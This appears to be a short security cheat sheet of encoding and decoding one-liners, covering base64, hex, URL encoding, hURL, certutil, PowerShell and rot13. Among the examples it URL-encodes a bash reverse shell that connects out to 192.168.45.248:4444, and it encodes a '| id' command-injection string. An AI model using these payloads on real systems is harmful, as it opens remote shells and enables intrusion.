See https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639 as a base64 cheat sheet.
The classic (base64 combines the bytes of the text and separates 6 bit (2^6 = 64) and maps each 6 bit to a character. “=” means “two byte missing”. For example, if the combined strings have 2 bit “left” (41.…), then (A==)
echo Hi | base64 -d
Convert hex into string
echo 098f | xxd -ps -r
Show all non-ASCII characters
grep --color='auto' -P -n "[\x80-\xFF]" file.xml
Convert ASCII/Hex string into ASCII
# echo -e "\x6C\x65\x6E\x67\x74\x68" length
hurl — convert in many different formats
hURL --HEX --esc --URL --DURL --HTML --BASE64 "127.0.0.1 | id"
Use a file for mass conversion:
while read -r line; do hURL --HEX --esc --URL --DURL --HTML --BASE64 "$line"; done < file.txt
URLencode a string in the command line:
echo "/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.248/4444 0>&1'" | python3 -c "import urllib.parse, sys; print(''.join([urllib.parse.quote(c, safe='') for c in sys.stdin.read()]))"
Windows
Decode base64 string into a file
certutil -decode in.b64 out.txt
Encode something in PowerShell into Base64:
PS> $Text = '...'
PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
PS> $EncodedText =[Convert]::ToBase64String($Bytes)
PS> $EncodedText
or
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\path\to\file\example.exe")) > "C:\path\to\file\example.b64"
Rot13
Use this bash loop or Perl one-liner to decode a string from rot13 or rotN:
for shift in {2..40}; do
echo "Shift $shift:"
perl -pe 'BEGIN{$shift='"$shift"'} $_=join("", map {/[A-Za-z]/ ? chr((ord($_)-($_=~/[a-z]/?"a":"A")+$shift)%26+ord($_)) : $_} split("",$_))' <<< "f1MgN9mTf9SNbzRygcU"
echo ""
done
More
Use CyberChef
Leave a Reply
You must be logged in to post a comment.